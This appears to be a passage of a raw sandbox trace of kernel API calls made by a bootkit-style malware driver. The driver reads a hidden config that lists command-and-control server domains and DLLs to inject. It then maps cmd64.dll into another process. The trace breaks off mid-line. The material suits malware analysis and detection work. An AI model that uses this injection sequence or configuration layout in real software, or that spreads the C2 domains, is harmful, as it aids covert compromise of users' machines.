(Irp=0xfffffa80034e8010, PriorityBoost=0) [0085.308] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\nrnd=2040373303\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n" [0085.308] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="svchost.exe (x64)=") returned 0x0 [0085.308] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888, FreeType=0x8000) returned 0x0 [0085.308] ExFreePoolWithTag (P=0xfffff8a0012a9d50, Tag=0x0) [0085.308] ZwClose (Handle=0xffffffff8000044c) returned 0x0 [0085.308] _snprintf (in: _Dest=0xfffff88002f9d310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0085.308] KeEnterCriticalRegion () [0085.308] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0085.308] IoGetRequestorProcess (Irp=0xfffffa80034e8010) returned 0xfffffa80018ab040 [0085.308] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa8003795e50, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0085.308] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0085.308] KeLeaveCriticalRegion () [0085.308] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0085.308] _snprintf (in: _Dest=0xfffff88002f9d330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0085.308] KeEnterCriticalRegion () [0085.308] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0085.308] ExFreePoolWithTag (P=0xfffffa80036cecd0, Tag=0x0) [0085.308] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0085.308] KeLeaveCriticalRegion () [0085.308] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0085.308] ZwClose (Handle=0xffffffff80000448) returned 0x0 [0085.308] KeSetEvent (in: Event=0xfffffa800378e430, Increment=0x0, Wait=0 | out: Event=0xfffffa800378e430) returned 0 [0086.911] ZwOpenProcess (in: ProcessHandle=0xfffff88002f9db70, DesiredAccess=0x1fffff, ObjectAttributes=0xfffff88002f9db30*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88002f9db20*(UniqueProcess=0x21c, UniqueThread=0x0) | out: ProcessHandle=0xfffff88002f9db70*=0xffffffff800004b4) returned 0x0 [0086.912] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0086.912] ZwCreateFile (in: FileHandle=0xfffff88002f9db18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f9d7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9d7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f9db18*=0xffffffff800004b0, IoStatusBlock=0xfffff88002f9d7a0) returned 0x0 [0086.912] _snprintf (in: _Dest=0xfffff88002f9cf10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0086.912] KeEnterCriticalRegion () [0086.912] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0086.912] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.912] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.912] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.912] KeInitializeEvent (in: Event=0xfffff88002f9cd80, Type=0x0, State=0 | out: Event=0xfffff88002f9cd80) [0086.912] IdePortDispatch () returned 0x103 [0086.912] KeWaitForMutexObject () returned 0x0 [0086.912] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0086.912] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0086.912] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0086.912] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0086.912] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037cf590 [0086.912] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0086.912] KeLeaveCriticalRegion () [0086.912] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0086.912] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880, ZeroBits=0x0, RegionSize=0xfffff88002f9d888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888*=0x1000) returned 0x0 [0086.912] NtLockFile (in: FileHandle=0xffffffff800004b0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0086.912] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0086.912] KeEnterCriticalRegion () [0086.912] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0086.912] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80037c7bb0, Context=0x0) returned 0x0 [0086.912] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0086.912] KeLeaveCriticalRegion () [0086.912] ZwQueryInformationFile (in: FileHandle=0xffffffff800004b0, IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0) returned 0x0 [0086.912] _snprintf (in: _Dest=0xfffff88002f9d250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0086.913] KeEnterCriticalRegion () [0086.913] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0086.913] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.913] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.913] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.913] KeInitializeEvent (in: Event=0xfffff88002f9d0e0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0e0) [0086.913] IdePortDispatch () returned 0x103 [0086.913] KeWaitForMutexObject () returned 0x0 [0086.913] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0086.913] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0086.913] KeLeaveCriticalRegion () [0086.913] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0086.913] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x1b5) returned 0xfffff8a00145adc0 [0086.913] _snprintf (in: _Dest=0xfffff88002f9d9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0086.913] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0086.913] _snprintf (in: _Dest=0xfffff88002f9d8c0, _Count=0x104, _Format="%s=" | out: _Dest="* (x64)=") returned 8 [0086.913] _strlwr (in: _Str="* (x64)=" | out: _Str="* (x64)=") returned="* (x64)=" [0086.913] ZwReadFile (in: FileHandle=0xffffffff800004b0, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a00145adc0, BufferLength=0x1b4, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a00145adc0*) returned 0x0 [0086.913] _snprintf (in: _Dest=0xfffff88002f9d230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0086.913] KeEnterCriticalRegion () [0086.913] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0086.913] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034dedc0 [0086.913] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.913] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa8008136f40 [0086.913] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8008136f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8008136f40) [0086.913] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0086.913] IdePortDispatch () returned 0x103 [0086.914] KeWaitForMutexObject () returned 0x0 [0086.914] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0086.914] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.914] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa8008136f40 [0086.914] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8008136f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8008136f40) [0086.914] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0086.914] IdePortDispatch () returned 0x103 [0086.914] KeWaitForMutexObject () returned 0x0 [0086.914] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0086.914] KeLeaveCriticalRegion () [0086.914] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0086.914] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\nrnd=2040373303\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n" [0086.914] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="* (x64)=") returned="* (x64)=cmd64.dll\r\n" [0086.914] strncpy (in: _Dest=0xfffffa80037ce8e4, _Source="cmd64.dll", _Count=0x104 | out: _Dest="cmd64.dll") returned="cmd64.dll" [0086.914] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888, FreeType=0x8000) returned 0x0 [0086.914] ExFreePoolWithTag (P=0xfffff8a00145adc0, Tag=0x0) [0086.914] ZwClose (Handle=0xffffffff800004b0) returned 0x0 [0086.914] _snprintf (in: _Dest=0xfffff88002f9d310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0086.914] KeEnterCriticalRegion () [0086.914] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0086.914] IoGetRequestorProcess (Irp=0xfffffa80037c7bb0) returned 0xfffffa80018ab040 [0086.914] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa80037ce590, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0086.914] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0086.914] KeLeaveCriticalRegion () [0086.914] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0086.914] _snprintf (in: _Dest=0xfffff88002f9d330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0086.914] KeEnterCriticalRegion () [0086.914] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0086.914] ExFreePoolWithTag (P=0xfffffa80037cf590, Tag=0x0) [0086.914] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0086.914] KeLeaveCriticalRegion () [0086.914] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0086.915] KeStackAttachProcess (in: PROCESS=0xfffffa80037d0b30, ApcState=0xfffff88002f9da58 | out: PROCESS=0xfffffa80037d0b30, ApcState=0xfffff88002f9da58) [0086.915] _snwprintf (in: _Dest=0xfffffa80037ce6dc, _Count=0x103, _Format="%s\\%S" | out: _Dest="\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 35 [0086.915] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9da38, SourceString="\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cmd64.dll") [0086.915] ZwOpenFile (in: FileHandle=0xfffff88002f9d9e8, DesiredAccess=0x100001, ObjectAttributes=0xfffff88002f9da08*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cmd64.dll" (normalized: "\\device\\000001a9\\0d24eb7c\\cmd64.dll"), Attributes=0x240, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9da48, ShareAccess=0x1, OpenOptions=0x20 | out: FileHandle=0xfffff88002f9d9e8*=0xffffffff800004b0, IoStatusBlock=0xfffff88002f9da48) returned 0x0 [0086.915] _snprintf (in: _Dest=0xfffff88002f9d150, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0086.915] KeEnterCriticalRegion () [0086.915] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0086.915] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.915] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.915] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.915] KeInitializeEvent (in: Event=0xfffff88002f9cfc0, Type=0x0, State=0 | out: Event=0xfffff88002f9cfc0) [0086.915] IdePortDispatch () returned 0x103 [0086.915] KeWaitForMutexObject () returned 0x0 [0086.915] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0086.915] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0086.915] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0086.915] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0086.915] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0086.915] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0086.915] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0086.915] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0086.915] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0086.915] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0086.915] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80036d1180 [0086.915] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0086.915] KeLeaveCriticalRegion () [0086.915] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0086.915] ZwCreateSection (in: SectionHandle=0xfffff88002f9d9e0, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0xffffffff800004b0 | out: SectionHandle=0xfffff88002f9d9e0*=0x14) returned 0x0 [0086.915] _snprintf (in: _Dest=0xfffff88002f9d260, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0086.915] KeEnterCriticalRegion () [0086.915] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0086.915] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.915] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.915] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.916] KeInitializeEvent (in: Event=0xfffff88002f9d0f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0f0) [0086.916] IdePortDispatch () returned 0x103 [0086.916] KeWaitForMutexObject () returned 0x0 [0086.916] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0086.916] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0086.916] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0086.916] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0086.916] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0086.916] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0086.916] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0086.916] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0086.916] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0086.916] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0086.916] KeLeaveCriticalRegion () [0086.916] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0086.916] ZwMapViewOfSection (in: SectionHandle=0x14, ProcessHandle=0xffffffff800004b4, BaseAddress=0xfffff88002f9d9d0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0xfffff88002f9da00, InheritDisposition=0x2, AllocationType=0x100000, AccessProtection=0x2 | out: BaseAddress=0xfffff88002f9d9d0*=0x7fffffa0000, SectionOffset=0x0, ViewSize=0xfffff88002f9da00*=0x6000) returned 0x0 [0086.916] RtlImageNtHeader (BaseAddress=0x7fffffa0000) returned 0x7fffffa0040 [0086.916] _snprintf (in: _Dest=0xfffff88002f9d390, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0086.916] KeEnterCriticalRegion () [0086.916] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0086.916] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034df000 [0086.916] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.916] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.916] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.916] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.916] IdePortDispatch () returned 0x103 [0086.916] KeWaitForMutexObject () returned 0x0 [0086.917] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0086.917] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0086.917] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0086.917] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0086.917] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0086.917] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0086.917] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0086.917] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0086.917] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0086.917] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.917] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.917] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.917] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.917] IdePortDispatch () returned 0x103 [0086.917] KeWaitForMutexObject () returned 0x0 [0086.919] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.919] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.919] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.919] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.919] IdePortDispatch () returned 0x103 [0086.919] KeWaitForMutexObject () returned 0x0 [0086.919] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.919] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.919] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.920] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.920] IdePortDispatch () returned 0x103 [0086.920] KeWaitForMutexObject () returned 0x0 [0086.920] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.920] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.920] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.920] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.920] IdePortDispatch () returned 0x103 [0086.920] KeWaitForMutexObject () returned 0x0 [0086.920] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.920] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.920] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.920] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.920] IdePortDispatch () returned 0x103 [0086.920] KeWaitForMutexObject () returned 0x0 [0086.920] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.920] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.920] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.920] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.920] IdePortDispatch () returned 0x103 [0086.921] KeWaitForMutexObject () returned 0x0 [0086.921] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.921] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.921] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: 